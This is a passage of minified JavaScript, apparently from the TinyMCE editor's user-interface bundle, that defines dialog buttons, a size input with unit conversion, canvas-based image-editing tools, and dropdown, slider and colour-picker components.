Pw(t,n.icons)}):vt.none(),a=u.isSome()?Zb([u]):[],c=u.isSome()?{}:{innerHtml:i},s=V(V(V(V([],t.primary||t.borderless?["tox-button"]:["tox-button","tox-button--secondary"],!0),u.isSome()?["tox-button--icon"]:[],!0),t.borderless?["tox-button--naked"]:[],!0),r,!0);return Gw(t,e,o,lt(lt({tag:"button",classes:s},c),{attributes:{title:i}}),a,n)}function Kw(t,e,n,o,r){void 0===o&&(o=[]),void 0===r&&(r=[]);var i=qw(t,vt.some(e),n,o,r);return ip.sketch(i)}function Jw(e,n){return function(t){"custom"===n?br(t,wx,{name:e,value:{}}):"submit"===n?vr(t,Sx):"cancel"===n?vr(t,xx):console.error("Unknown button type: ",n)}}function $w(e,t,n){if("menu"===t){var o=e,r=Lm(Ww(lt(lt({},e),{onSetup:function(t){return t.setDisabled(e.disabled),st},fetch:(i=o.items,u=function(){return r},a=n,function(t){t(B(i,function(t){var e,n,o=t.text.fold(function(){return{}},function(t){return{text:t}});return lt(lt({type:t.type,active:!1},o),{onAction:function(t){var e=!t.isActive();t.setActive(e),n.storage.set(e),a.shared.getSink().each(function(t){u().getOpt(t).each(function(t){ka(t.element),br(t,wx,{name:n.name,value:n.storage.get()})})})},onSetup:(e=n=t,function(t){t.setActive(e.storage.get())})})}))})}),"tox-tbtn",n,vt.none()));return r.asSpec()}var i,u,a;if("custom"===t||"cancel"===t||"submit"===t){var c=Jw(e.name,t);return Kw(lt(lt({},e),{borderless:!1}),c,n.shared.providers,[])}console.error("Unknown footer button type: ",t)}function Qw(t,e){return Jf({factory:dx,name:t,overrides:function(o){return{fieldBehaviours:ec([mm("coupled-input-behaviour",[Cr(Si(),function(n){ml(n,o,e).bind(cd.getCurrent).each(function(e){ml(n,o,"lock").each(function(t){Rg.isOn(t)&&o.onLockedChange(n,e,t)})})})])])}}})}function Zw(t){var e=/^\s*(\d+(?:\.\d+)?)\s*(|cm|mm|in|px|pt|pc|em|ex|ch|rem|vw|vh|vmin|vmax|%)\s*$/.exec(t);if(null===e)return Nn.error(t);var n=parseFloat(e[1]),o=e[2];return Nn.value({value:n,unit:o})}function tS(t,e){function n(t){return Tt(o,t)}var o={"":96,px:96,pt:72,cm:2.54,pc:12,mm:25.4,in:1};return t.unit===e?vt.some(t.value):n(t.unit)&&n(e)?o[t.unit]===o[e]?vt.some(t.value):vt.some(t.value/o[t.unit]*o[e]):vt.none()}function eS(t){return vt.none()}function nS(o,e){function t(t){return sh(t,{tag:"span",classes:["tox-icon","tox-lock-icon__"+t]},e.icons)}function n(t){return{dom:{tag:"div",classes:["tox-form__group"]},components:t}}function r(n){return dx.parts.field({factory:Ex,inputClasses:["tox-textfield"],inputBehaviours:ec([gd.config({disabled:function(){return o.disabled||e.isDisabled()}}),gb(),gx.config({}),mm("size-input-events",[Cr(bi(),function(t,e){br(t,u,{isField1:n})}),Cr(ki(),function(t,e){br(t,bx,{name:o.name})})])]),selectOnFocus:!1})}function i(t){return{dom:{tag:"label",classes:["tox-label"],innerHtml:e.translate(t)}}}var l=eS,u=Ir("ratio-event"),a=zk.parts.lock({dom:{tag:"button",classes:["tox-lock","tox-button","tox-button--naked","tox-button--icon"],attributes:{title:e.translate(o.label.getOr("Constrain proportions"))}},components:[t("lock"),t("unlock")],buttonBehaviours:ec([gd.config({disabled:function(){return o.disabled||e.isDisabled()}}),gb(),gx.config({})])}),c=zk.parts.field1(n([dx.parts.label(i("Width")),r(!0)])),s=zk.parts.field2(n([dx.parts.label(i("Height")),r(!1)]));return zk.sketch({dom:{tag:"div",classes:["tox-form__group"]},components:[{dom:{tag:"div",classes:["tox-form__controls-h-stack"]},components:[c,s,n([i("&nbsp;"),a])]}],field1Name:"width",field2Name:"height",locked:!0,markers:{lockClass:"tox-locked"},onLockedChange:function(t,i,e){Zw(Df.getValue(t)).each(function(t){l(t).each(function(t){var e,n,o,r;Df.setValue(i,(r=-1!==(r=(e=t).value.toFixed((n=e.unit)in(o={"":0,px:0,pt:1,mm:1,pc:2,ex:2,em:2,ch:2,rem:2,cm:3,in:4,"%":4})?o[n]:1)).indexOf(".")?r.replace(/\.?0*$/,""):r)+e.unit)})})},coupledFieldBehaviours:ec([gd.config({disabled:function(){return o.disabled||e.isDisabled()},onDisabled:function(t){zk.getField1(t).bind(dx.getField).each(gd.disable),zk.getField2(t).bind(dx.getField).each(gd.disable),zk.getLock(t).each(gd.disable)},onEnabled:function(t){zk.getField1(t).bind(dx.getField).each(gd.enable),zk.getField2(t).bind(dx.getField).each(gd.enable),zk.getLock(t).each(gd.enable)}}),gb(),mm("size-input-events2",[Cr(u,function(t,e){var n,o,r,i=e.event.isField1,u=i?zk.getField1(t):zk.getField2(t),a=i?zk.getField2(t):zk.getField1(t),c=u.map(Df.getValue).getOr(""),s=a.map(Df.getValue).getOr("");n=s,o=Zw(c).toOptional(),r=Zw(n).toOptional(),l=Et(o,r,function(t,o){return tS(t,o.unit).map(function(t){return o.value/t}).map(function(t){return e=t,n=o.unit,function(t){return tS(t,n).map(function(t){return{value:t*e,unit:n}})};var e,n}).getOr(eS)}).getOr(eS)})])])})}function oS(f,c){function t(t,e,n,o){return Lm(Kw({name:t,text:t,disabled:n,primary:o,icon:vt.none(),borderless:!1},e,c))}function e(t,e,n,o){return Lm(Yw({name:t,icon:vt.some(t),tooltip:vt.some(e),disabled:o,primary:!1,borderless:!1},n,c))}function d(t,n){t.map(function(t){var e=t.get(n);e.hasConfigured(gd)&&gd.disable(e)})}function m(t,n){t.map(function(t){var e=t.get(n);e.hasConfigured(gd)&&gd.enable(e)})}function r(t,e,n){br(t,e,n)}function i(t){return vr(t,Xk.disable()),0}function u(t){return vr(t,Xk.enable()),0}function g(t,e){i(t),r(t,Uk.transform(),{transform:e}),u(t)}function n(t){return function(){q.getOpt(t).each(function(t){Dg.set(t,[Y])})}}function s(t,e){i(t),r(t,Uk.transformApply(),{transform:e,swap:n(t)}),u(t)}function p(){return t("Back",function(t){return r(t,Uk.back(),{swap:n(t)})},!1,!1)}function o(){return Lm({dom:{tag:"div",classes:["tox-spacer"]},behaviours:ec([gd.config({})])})}function h(){return t("Apply",function(t){return r(t,Uk.apply(),{swap:n(t)})},!0,!0)}function v(e,n){return function(t){return e(t,n)}}function a(t,e){var n,o=e;i(n=t),r(n,Uk.tempTransform(),{transform:o}),u(n)}function b(t,e,n,o,r){var i=JS.parts.label({dom:{tag:"label",classes:["tox-label"],innerHtml:c.translate(t)}}),u=JS.parts.spectrum({dom:{tag:"div",classes:["tox-slider__rail"],attributes:{role:"presentation"}}}),a=JS.parts.thumb({dom:{tag:"div",classes:["tox-slider__handle"],attributes:{role:"presentation"}}});return Lm(JS.sketch({dom:{tag:"div",classes:["tox-slider"],attributes:{role:"presentation"}},model:{mode:"x",minX:n,maxX:r,getInitialValue:rt({x:o})},components:[i,u,a],sliderBehaviours:ec([Mg.config({})]),onChoose:e}))}function l(t,e,n,o,r){var i,u,a,c,s,l,f=(i=t,u=e,a=n,c=o,s=r,[p(),(l=u,b(i,function(t,e,n){g(t,v(l,n.x/100))},a,c,s)),h()]);return sx.sketch({dom:w,components:f.map(function(t){return t.asSpec()}),containerBehaviours:ec([mm("image-tools-filter-panel-buttons-events",[Cr(Xk.disable(),function(t,e){d(f,t)}),Cr(Xk.enable(),function(t,e){m(f,t)})])])})}function y(t){return b(t,function(l,t,e){var n=H.getOpt(l),o=z.getOpt(l),r=L.getOpt(l);n.each(function(s){o.each(function(c){r.each(function(t){var o,r,i,e=Df.getValue(s).x/100,n=Df.getValue(t).x/100,u=Df.getValue(c).x/100,a=(o=e,r=n,i=u,function(t){return _w(t,(e=r,n=i,Ow(Cw(),[kw(o,0,2),0,0,0,0,0,kw(e,0,2),0,0,0,0,0,kw(n,0,2),0,0,0,0,0,1,0,0,0,0,0,1])));var e,n});g(l,a)})})})},0,100,200)}function x(e,n,o){return function(t){r(t,Uk.swap(),{transform:n,swap:function(){q.getOpt(t).each(function(t){Dg.set(t,[e]),o(t)})}})}}var w={tag:"div",classes:["tox-image-tools__toolbar","tox-image-tools-edit-panel"]},S=st,k=[p(),o(),t("Apply",function(t){s(t,function(t){var e,n,o,r,i,u,a,c,s,l=f.getRect();return e=l.x,n=l.y,o=l.w,r=l.h,u=e,a=n,c=o,s=r,(i=t).toCanvas().then(function(t){return Mk(t,i.getType(),u,a,c,s)})}),f.hideCrop()},!1,!0)],C=sx.sketch({dom:w,components:k.map(function(t){return t.asSpec()}),containerBehaviours:ec([mm("image-tools-crop-buttons-events",[Cr(Xk.disable(),function(t,e){d(k,t)}),Cr(Xk.enable(),function(t,e){m(k,t)})])])}),O=Lm(nS({name:"size",label:vt.none(),constrain:!0,disabled:!1},c)),_=[p(),o(),O,o(),t("Apply",function(a){O.getOpt(a).each(function(t){var r,i,e=Df.getValue(t),n=parseInt(e.width,10),o=parseInt(e.height,10),u=(r=n,i=o,function(t){return n=r,o=i,(e=t).toCanvas().then(function(t){return Ek(t,n,o).then(function(t){return ww(t,e.getType())})});var e,n,o});s(a,u)})},!1,!0)],T=sx.sketch({dom:w,components:_.map(function(t){return t.asSpec()}),containerBehaviours:ec([mm("image-tools-resize-buttons-events",[Cr(Xk.disable(),function(t,e){d(_,t)}),Cr(Xk.enable(),function(t,e){m(_,t)})])])}),E=v(Iw,"h"),D=v(Iw,"v"),A=v(Rw,-90),B=v(Rw,90),M=[p(),o(),e("flip-horizontally","Flip horizontally",function(t){a(t,E)},!1),e("flip-vertically","Flip vertically",function(t){a(t,D)},!1),e("rotate-left","Rotate counterclockwise",function(t){a(t,A)},!1),e("rotate-right","Rotate clockwise",function(t){a(t,B)},!1),o(),h()],F=sx.sketch({dom:w,components:M.map(function(t){return t.asSpec()}),containerBehaviours:ec([mm("image-tools-fliprotate-buttons-events",[Cr(Xk.disable(),function(t,e){d(M,t)}),Cr(Xk.enable(),function(t,e){m(M,t)})])])}),I=[p(),o(),h()],R=sx.sketch({dom:w,components:I.map(function(t){return t.asSpec()})}),N=l("Brightness",Mw,-100,0,100),P=l("Contrast",Fw,-100,0,100),V=l("Gamma",Bw,-100,0,100),H=y("R"),L=y("G"),z=y("B"),U=[p(),H,L,z,h()],j=sx.sketch({dom:w,components:U.map(function(t){return t.asSpec()})}),W=vt.some(Aw),G=vt.some(Dw),X=[e("crop","Crop",x(C,vt.none(),function(t){f.showCrop()}),!1),e("resize","Resize",x(T,vt.none(),function(t){O.getOpt(t).each(function(t){var e=f.getMeasurements(),n=e.width,o=e.height;Df.setValue(t,{width:n,height:o})})}),!1),e("orientation","Orientation",x(F,vt.none(),S),!1),e("brightness","Brightness",x(N,vt.none(),S),!1),e("sharpen","Sharpen",x(R,W,S),!1),e("contrast","Contrast",x(P,vt.none(),S),!1),e("color-levels","Color levels",x(j,vt.none(),S),!1),e("gamma","Gamma",x(V,vt.none(),S),!1),e("invert","Invert",x(R,G,S),!1)],Y=sx.sketch({dom:w,components:X.map(function(t){return t.asSpec()})}),q=Lm(sx.sketch({dom:{tag:"div"},components:[Y],containerBehaviours:ec([Dg.config({})])}));return{memContainer:q,getApplyButton:function(t){return q.getOpt(t).map(function(t){var e=t.components()[0];return e.components()[e.components().length-1]})}}}function rS(t){if(k(t.changedTouches))for(var e="screenX screenY pageX pageY clientX clientY".split(" "),n=0;n<e.length;n++)t[e[n]]=t.changedTouches[0][e[n]]}(Vx=Px=Px||{})[Vx.HighlightFirst=0]="HighlightFirst",Vx[Vx.HighlightNone=1]="HighlightNone";function iS(o,t){return{uid:o.uid,dom:o.dom,components:t,behaviours:el(o.formBehaviours,[Df.config({store:{mode:"manual",getValue:function(t){return dt(hl(t,o),function(t,o){return t().bind(function(t){var e=cd.getCurrent(t),n=new Error("Cannot find a current component to extract the value from for form part '"+o+"': "+Fr(t.element));return e.fold(function(){return Nn.error(n)},Nn.value)}).map(Df.getValue)})},setValue:function(n,t){J(t,function(e,t){ml(n,o,t).each(function(t){cd.getCurrent(t).each(function(t){Df.setValue(t,e)})})})}}})]),apis:{getField:function(t,e){return ml(t,o,e).bind(cd.getCurrent)}}}}function uS(){return cd.config({find:vt.some})}function aS(t){return e=Br,n=Mr,cw(t,function(t){return e(t.element)},function(t,e){return n(t.element,e)});var e,n}var cS,sS,lS,fS,dS=function(e,t){return e.getSystem().getByUid(t.uid+"-"+$x()).map(function(t){return function(){return Nn.value(t)}}).getOrThunk(function(){return t.lazySink.fold(function(){return function(){return Nn.error(new Error("No internal sink is specified, nor could an external sink be found"))}},function(t){return function(){return t(e)}})})},mS=rt([mo("dom"),mo("fetch"),Ju("onOpen"),$u("onExecute"),Eo("getHotspot",vt.some),Eo("getAnchorOverrides",rt({})),Uc(),Zs("dropdownBehaviours",[Rg,Jx,Tg,Mg]),mo("toggleClass"),Eo("eventOrder",{}),wo("lazySink"),Eo("matchWidth",!1),Eo("useMinWidth",!1),wo("role")].concat(i0())),gS=rt([$f({schema:[Yu()],name:"menu",defaults:function(t){return{onExecute:t.onExecute}}}),Qx()]),pS=Cl({name:"Dropdown",configFields:mS(),partFields:gS(),factory:function(e,t,n,o){function r(t){bf.getState(t).each(function(t){Zg.highlightPrimary(t)})}function i(t,e){return yr(t),vt.some(!0)}var u,a={expand:function(t){Rg.isOn(t)||e0(e,h,t,o,st,Px.HighlightNone).get(st)},open:function(t){Rg.isOn(t)||e0(e,h,t,o,st,Px.HighlightFirst).get(st)},isOpen:Rg.isOn,close:function(t){Rg.isOn(t)&&e0(e,h,t,o,st,Px.HighlightFirst).get(st)},repositionMenus:function(t){Rg.isOn(t)&&r0(t)}};return{uid:e.uid,dom:e.dom,components:t,behaviours:el(e.dropdownBehaviours,[Rg.config({toggleClass:e.toggleClass,aria:{mode:"expanded"}}),Jx.config({others:{sandbox:function(t){return o0(e,t,{onOpen:function(){return Rg.on(t)},onClose:function(){return Rg.off(t)}})}}}),Tg.config({mode:"special",onSpace:i,onEnter:i,onDown:function(t,e){return pS.isOpen(t)?r(Jx.getCoupled(t,"sandbox")):pS.open(t),vt.some(!0)},onEscape:function(t,e){return pS.isOpen(t)?(pS.close(t),vt.some(!0)):vt.none()}}),Mg.config({})]),events:Sm(vt.some(function(t){e0(e,h,t,o,r,Px.HighlightFirst).get(st)})),eventOrder:lt(lt({},e.eventOrder),((u={})[Ii()]=["disabling","toggling","alloy.base.behaviour"],u)),apis:a,domModification:{attributes:lt(lt({"aria-haspopup":"true"},e.role.fold(function(){return{}},function(t){return{role:t}})),"button"===e.dom.tag?{type:tt(e.dom,"attributes").bind(function(t){return tt(t,"type")}).getOr("button")}:{})}}},apis:{open:function(t,e){return t.open(e)},expand:function(t,e){return t.expand(e)},close:function(t,e){return t.close(e)},isOpen:function(t,e){return t.isOpen(e)},repositionMenus:function(t,e){return t.repositionMenus(e)}}}),hS=xa({fields:[],name:"unselecting",active:Object.freeze({__proto__:null,events:function(){return nu([Sr(Ei(),D)])},exhibit:function(){return zr({styles:{"-webkit-user-select":"none","user-select":"none","-ms-user-select":"none","-moz-user-select":"-moz-none"},attributes:{unselectable:"on"}})}})}),vS=Ir("color-input-change"),bS=Ir("color-swatch-change"),yS=Ir("color-picker-cancel"),xS=Qf({schema:[mo("dom")],name:"label"}),wS=u0("top-left"),SS=u0("top"),kS=u0("top-right"),CS=u0("right"),OS=u0("bottom-right"),_S=u0("bottom"),TS=u0("bottom-left"),ES=[xS,u0("left"),CS,SS,_S,wS,kS,TS,OS,Jf({name:"thumb",defaults:rt({dom:{styles:{position:"absolute"}}}),overrides:function(t){return{events:nu([Tr(si(),t,"spectrum"),Tr(li(),t,"spectrum"),Tr(fi(),t,"spectrum"),Tr(mi(),t,"spectrum"),Tr(gi(),t,"spectrum"),Tr(hi(),t,"spectrum")])}}}),Jf({schema:[cr("mouseIsDown",function(){return Po(!1)})],name:"spectrum",overrides:function(n){function o(e,t){return r.getValueFromEvent(t).map(function(t){return r.setValueFrom(e,n,t)})}var r=n.model.manager;return{behaviours:ec([Tg.config({mode:"special",onLeft:function(t){return r.onLeft(t,n)},onRight:function(t){return r.onRight(t,n)},onUp:function(t){return r.onUp(t,n)},onDown:function(t){return r.onDown(t,n)}}),Mg.config({})]),events:nu([Cr(si(),o),Cr(li(),o),Cr(mi(),o),Cr(gi(),function(t,e){n.mouseIsDown.get()&&o(t,e)})])}}})],DS=rt("slider.change.value"),AS="left",BS=K0(-1),MS=K0(1),FS=vt.none,IS=vt.none,RS={"top-left":vt.none(),top:vt.none(),"top-right":vt.none(),right:vt.some(function(t,e){M0(t,{x:g0(e)})}),"bottom-right":vt.none(),bottom:vt.none(),"bottom-left":vt.none(),left:vt.some(function(t,e){M0(t,{x:l0(e)})})},NS=Object.freeze({__proto__:null,setValueFrom:function(t,e,n){var o=q0(t,e,n);return Y0(t,{x:o}),o},setToMin:function(t,e){Y0(t,{x:c0(e)})},setToMax:function(t,e){Y0(t,{x:d0(e)})},findValueOfOffset:q0,getValueFromEvent:function(t){return a0(t).map(function(t){return t.left})},findPositionOfValue:J0,setPositionFromValue:function(t,e,n,o){var r=A0(n),i=J0(t,o.getSpectrum(t),r.x,o.getLeftEdge(t),o.getRightEdge(t),n),u=Ce(e.element)/2;fe(e.element,"left",i-u+"px")},onLeft:BS,onRight:MS,onUp:FS,onDown:IS,edgeActions:RS}),PS=vt.none,VS=vt.none,HS=Z0(-1),LS=Z0(1),zS={"top-left":vt.none(),top:vt.some(function(t,e){M0(t,{y:f0(e)})}),"top-right":vt.none(),right:vt.none(),"bottom-right":vt.none(),bottom:vt.some(function(t,e){M0(t,{y:p0(e)})}),"bottom-left":vt.none(),left:vt.none()},US=Object.freeze({__proto__:null,setValueFrom:function(t,e,n){var o=Q0(t,e,n);return $0(t,{y:o}),o},setToMin:function(t,e){$0(t,{y:s0(e)})},setToMax:function(t,e){$0(t,{y:m0(e)})},findValueOfOffset:Q0,getValueFromEvent:function(t){return a0(t).map(function(t){return t.top})},findPositionOfValue:tw,setPositionFromValue:function(t,e,n,o){var r=A0(n),i=tw(t,o.getSpectrum(t),r.y,o.getTopEdge(t),o.getBottomEdge(t),n),u=xe(e.element)/2;fe(e.element,"top",i-u+"px")},onLeft:PS,onRight:VS,onUp:HS,onDown:LS,edgeActions:zS}),jS=a0,WS=ow(-1,!1),GS=ow(1,!1),XS=ow(-1,!0),YS=ow(1,!0),qS={"top-left":vt.some(function(t,e){M0(t,B0(l0(e),f0(e)))}),top:vt.some(function(t,e){M0(t,B0(y0(e),f0(e)))}),"top-right":vt.some(function(t,e){M0(t,B0(g0(e),f0(e)))}),right:vt.some(function(t,e){M0(t,B0(g0(e),x0(e)))}),"bottom-right":vt.some(function(t,e){M0(t,B0(g0(e),p0(e)))}),bottom:vt.some(function(t,e){M0(t,B0(y0(e),p0(e)))}),"bottom-left":vt.some(function(t,e){M0(t,B0(l0(e),p0(e)))}),left:vt.some(function(t,e){M0(t,B0(l0(e),x0(e)))})},KS=Object.freeze({__proto__:null,setValueFrom:function(t,e,n){var o=nw(q0(t,e,n.left),Q0(t,e,n.top));return ew(t,o),o},setToMin:function(t,e){ew(t,nw(c0(e),s0(e)))},setToMax:function(t,e){ew(t,nw(d0(e),m0(e)))},getValueFromEvent:jS,setPositionFromValue:function(t,e,n,o){var r=A0(n),i=J0(t,o.getSpectrum(t),r.x,o.getLeftEdge(t),o.getRightEdge(t),n),u=tw(t,o.getSpectrum(t),r.y,o.getTopEdge(t),o.getBottomEdge(t),n),a=Ce(e.element)/2,c=xe(e.element)/2;fe(e.element,"left",i-a+"px"),fe(e.element,"top",u-c+"px")},onLeft:WS,onRight:GS,onUp:XS,onDown:YS,edgeActions:qS}),JS=Cl({name:"Slider",configFields:[Eo("stepSize",1),Eo("onChange",st),Eo("onChoose",st),Eo("onInit",st),Eo("onDragStart",st),Eo("onDragEnd",st),Eo("snapToGrid",!1),Eo("rounded",!0),wo("snapStart"),go("model",lo("mode",{x:[Eo("minX",0),Eo("maxX",100),cr("value",function(t){return Po(t.mode.minX)}),mo("getInitialValue"),ta("manager",NS)],y:[Eo("minY",0),Eo("maxY",100),cr("value",function(t){return Po(t.mode.minY)}),mo("getInitialValue"),ta("manager",US)],xy:[Eo("minX",0),Eo("maxX",100),Eo("minY",0),Eo("maxY",100),cr("value",function(t){return Po({x:t.mode.minX,y:t.mode.minY})}),mo("getInitialValue"),ta("manager",KS)]})),Zs("sliderBehaviours",[Tg,Df]),cr("mouseIsDown",function(){return Po(!1)})],partFields:ES,factory:function(i,t,e,n){function u(t){return gl(t,i,"thumb")}function a(t){return gl(t,i,"spectrum")}function o(t){return ml(t,i,"left-edge")}function r(t){return ml(t,i,"right-edge")}function c(t){return ml(t,i,"top-edge")}function s(t){return ml(t,i,"bottom-edge")}function l(t,e){v.setPositionFromValue(t,e,i,{getLeftEdge:o,getRightEdge:r,getTopEdge:c,getBottomEdge:s,getSpectrum:a})}function f(t,e){h.value.set(e),l(t,u(t))}function d(n){var t=i.mouseIsDown.get();i.mouseIsDown.set(!1),t&&ml(n,i,"thumb").each(function(t){var e=h.value.get();i.onChoose(n,t,e)})}function m(t,e){e.stop(),i.mouseIsDown.set(!0),i.onDragStart(t,u(t))}function g(t,e){e.stop(),i.onDragEnd(t,u(t)),d(t)}var p,h=i.model,v=h.manager;return{uid:i.uid,dom:i.dom,components:t,behaviours:el(i.sliderBehaviours,[Tg.config({mode:"special",focusIn:function(t){return ml(t,i,"spectrum").map(Tg.focusIn).map(D)}}),Df.config({store:{mode:"manual",getValue:function(t){return h.value.get()}}}),ic.config({channels:((p={})[wf()]={onReceive:d},p)})]),events:nu([Cr(DS(),function(t,e){!function(t,e){f(t,e);var n=u(t);i.onChange(t,n,e),vt.some(!0)}(t,e.event.value)}),ou(function(t,e){var n=h.getInitialValue();h.value.set(n);var o=u(t);l(t,o);var r=a(t);i.onInit(t,o,r,h.value.get())}),Cr(si(),m),Cr(fi(),g),Cr(mi(),m),Cr(hi(),g)]),apis:{resetToMin:function(t){v.setToMin(t,i)},resetToMax:function(t){v.setToMax(t,i)},setValue:f,refresh:l},domModification:{styles:{position:"relative"}}}},apis:{setValue:function(t,e,n){t.setValue(e,n)},resetToMin:function(t,e){t.resetToMin(e)},resetToMax:function(t,e){t.resetToMax(e)},refresh:function(t,e){t.refresh(e)}}}),$S=Ir("rgb-hex-update"),QS=Ir("slider-update"),ZS=Ir("palette-update"),tk=[Zs("formBehaviours",[Df])],ek={getField:Hr(function(t,e,n){return t.getField(e,n)}),sketch:function(t){var n,e={field:function(t,e){return n.push(t),cl("form",rw(t),e)},record:rt(n=[])},o=t(e),r=B(e.record(),function(t){return Jf({name:t,pname:rw(t)})});return Sl("form",tk,r,iS,o)}},nk=Ir("valid-input"),ok=Ir("invalid-input"),rk=Ir("validating-input"),ik="colorcustom.rgb.",uk=function(t){return cd.config({find:t.getOpt})},ak=function(t){return cd.config({find:function(e){return Jt(e.element,t).bind(function(t){return e.getSystem().getByDom(t).toOptional()})}})},ck={"colorcustom.rgb.red.label":"R","colorcustom.rgb.red.description":"Red component","colorcustom.rgb.green.label":"G","colorcustom.rgb.green.description":"Green component","colorcustom.rgb.blue.label":"B","colorcustom.rgb.blue.description":"Blue component","colorcustom.rgb.hex.label":"#","colorcustom.rgb.hex.description":"Hex color code","colorcustom.rgb.range":"Range 0 to 255","colorcustom.sb.saturation":"Saturation","colorcustom.sb.brightness":"Brightness","colorcustom.sb.picker":"Saturation and Brightness Picker","colorcustom.sb.palette":"Saturation and Brightness Palette","colorcustom.sb.instructions":"Use arrow keys to select saturation and brightness, on x and y axes","colorcustom.hue.hue":"Hue","colorcustom.hue.slider":"Hue Slider","colorcustom.hue.palette":"Hue Palette","colorcustom.hue.instructions":"Use arrow keys to select a hue","aria.color.picker":"Color Picker","aria.input.invalid":"Invalid input"},sk=tinymce.util.Tools.resolve("tinymce.Resource"),lk=tinymce.util.Tools.resolve("tinymce.util.Tools"),fk=$o([Eo("preprocess",h),Eo("postprocess",h)]),dk=function(r,t){var i=so("RepresentingConfigs.memento processors",fk,t);return Df.config({store:{mode:"manual",getValue:function(t){var e=r.get(t),n=Df.getValue(e);return i.postprocess(n)},setValue:function(t,e){var n=i.preprocess(e),o=r.get(t);Df.setValue(o,n)}}})},mk=cw,gk=function(t){return Df.config({store:{mode:"memory",initialValue:t}})},pk=Ir("alloy-fake-before-tabstop"),hk=Ir("alloy-fake-after-tabstop"),vk=!(ln().browser.isIE()||ln().browser.isEdge()),bk=function(t){return t.getContext("2d")},yk=function(t,e,n){return t.width=e,t.height=n,t},xk=function(t){URL.revokeObjectURL(t.src)},wk=[0,.01,.02,.04,.05,.06,.07,.08,.1,.11,.12,.14,.15,.16,.17,.18,.2,.21,.22,.24,.25,.27,.28,.3,.32,.34,.36,.38,.4,.42,.44,.46,.48,.5,.53,.56,.59,.62,.65,.68,.71,.74,.77,.8,.83,.86,.89,.92,.95,.98,1,1.06,1.12,1.18,1.24,1.3,1.36,1.42,1.48,1.54,1.6,1.66,1.72,1.78,1.84,1.9,1.96,2,2.12,2.25,2.37,2.5,2.62,2.75,2.87,3,3.2,3.4,3.6,3.8,4,4.3,4.7,4.9,5,5.5,6,6.5,6.8,7,7.3,7.5,7.8,8,8.4,8.7,9,9.4,9.6,9.8,10],Sk=function(t,e,T){var n=bk(t),o=function(t){for(var e,n,o,r,i=t.data,u=T[0],a=T[1],c=T[2],s=T[3],l=T[4],f=T[5],d=T[6],m=T[7],g=T[8],p=T[9],h=T[10],v=T[11],b=T[12],y=T[13],x=T[14],w=T[15],S=T[16],k=T[17],C=T[18],O=T[19],_=0;_<i.length;_+=4)e=i[_],n=i[_+1],o=i[_+2],r=i[_+3],i[_]=e*u+n*a+o*c+r*s+l,i[_+1]=e*f+n*d+o*m+r*g+p,i[_+2]=e*h+n*v+o*b+r*y+x,i[_+3]=e*w+n*S+o*k+r*C+O;return t}(n.getImageData(0,0,t.width,t.height));return n.putImageData(o,0,0),ww(t,e)},kk=(cS=[-1,0,0,0,255,0,-1,0,0,255,0,0,-1,0,255,0,0,0,1,0,0,0,0,0,1],function(t){return _w(t,cS)}),Ck=Tw(function(t,e){return Ow(t,[1,0,0,0,e=kw(255*e,-255,255),0,1,0,0,e,0,0,1,0,e,0,0,0,1,0,0,0,0,0,1])}),Ok=Tw(function(t,e){var n;return e=kw(e,-1,1),Ow(t,[(n=(e*=100)<0?127+e/100*127:127*(0==(n=e%1)?wk[e]:wk[Math.floor(e)]*(1-n)+wk[Math.floor(e)+1]*n)+127)/127,0,0,0,.5*(127-n),0,n/127,0,0,.5*(127-n),0,0,n/127,0,.5*(127-n),0,0,0,1,0,0,0,0,0,1])}),_k=(sS=[0,-1,0,-1,5,-1,0,-1,0],function(t){return a=sS,(u=t).toCanvas().then(function(t){return e=t,n=u.getType(),o=a,r=bk(e),i=function(t,e,n){for(var o=function(t,e,n){return n<t?t=n:t<e&&(t=e),t},r=Math.round(Math.sqrt(n.length)),i=Math.floor(r/2),u=t.data,a=e.data,c=t.width,s=t.height,l=0;l<s;l++)for(var f=0;f<c;f++){for(var d=0,m=0,g=0,p=0;p<r;p++)for(var h=0;h<r;h++){var v=o(f+h-i,0,c-1),b=4*(o(l+p-i,0,s-1)*c+v),y=n[p*r+h];d+=u[b]*y,m+=u[1+b]*y,g+=u[2+b]*y}var x=4*(l*c+f);a[x]=o(d,0,255),a[1+x]=o(m,0,255),a[2+x]=o(g,0,255)}return e}(r.getImageData(0,0,e.width,e.height),r.getImageData(0,0,e.width,e.height),o),r.putImageData(i,0,0),ww(e,n);var e,n,o,r,i});var u,a}),Tk=(lS=function(t,e){return 255*Math.pow(t/255,1-e)},function(e,n){return e.toCanvas().then(function(t){return function(t,e,n){for(var o=bk(t),r=new Array(256),i=0;i<r.length;i++)r[i]=lS(i,n);var u=function(t,e){for(var n=t.data,o=0;o<n.length;o+=4)n[o]=e[n[o]],n[o+1]=e[n[o+1]],n[o+2]=e[n[o+2]];return t}(o.getImageData(0,0,t.width,t.height),r);return o.putImageData(u,0,0),ww(t,e)}(t,e.getType(),n)})}),Ek=function(t,e,n){var o=vw(t),r=bw(t),i=e/o,u=n/r,a=!1;(i<.5||2<i)&&(i=i<.5?.5:2,a=!0),(u<.5||2<u)&&(u=u<.5?.5:2,a=!0);var c=Dk(t,i,u);return a?c.then(function(t){return Ek(t,e,n)}):c},Dk=function(u,a,c){return new Hx(function(t){var e=vw(u),n=bw(u),o=Math.floor(e*a),r=Math.floor(n*c),i=pw(o,r);bk(i).drawImage(u,0,0,e,n,0,0,o,r),t(i)})},Ak=function(t,e,n){var o=(n<0?360+n:n)*Math.PI/180,r=t.width,i=t.height,u=Math.sin(o),a=Math.cos(o),c=Ew(Math.abs(r*a)+Math.abs(i*u)),s=Ew(Math.abs(r*u)+Math.abs(i*a)),l=pw(c,s),f=bk(l);return f.translate(c/2,s/2),f.rotate(o),f.drawImage(t,-r/2,-i/2),ww(l,e)},Bk=function(t,e,n){var o=pw(t.width,t.height),r=bk(o);return"v"===n?(r.scale(1,-1),r.drawImage(t,0,-o.height)):(r.scale(-1,1),r.drawImage(t,-o.width,0)),ww(o,e)},Mk=function(t,e,n,o,r,i){var u=pw(r,i);return bk(u).drawImage(t,-n,-o),ww(u,e)},Fk=Ir("toolbar.button.execute"),Ik=((fS={})[Ii()]=["disabling","alloy.base.behaviour","toggling","toolbar-button-events"],fS),Rk=Ir("update-menu-text"),Nk=Ir("update-menu-icon"),Pk={type:"separator"},Vk=function(t,l){var e,n,o;return I((e=y(t)?t.split(" "):t,n=l,0<(o=R(e,function(t,e){return 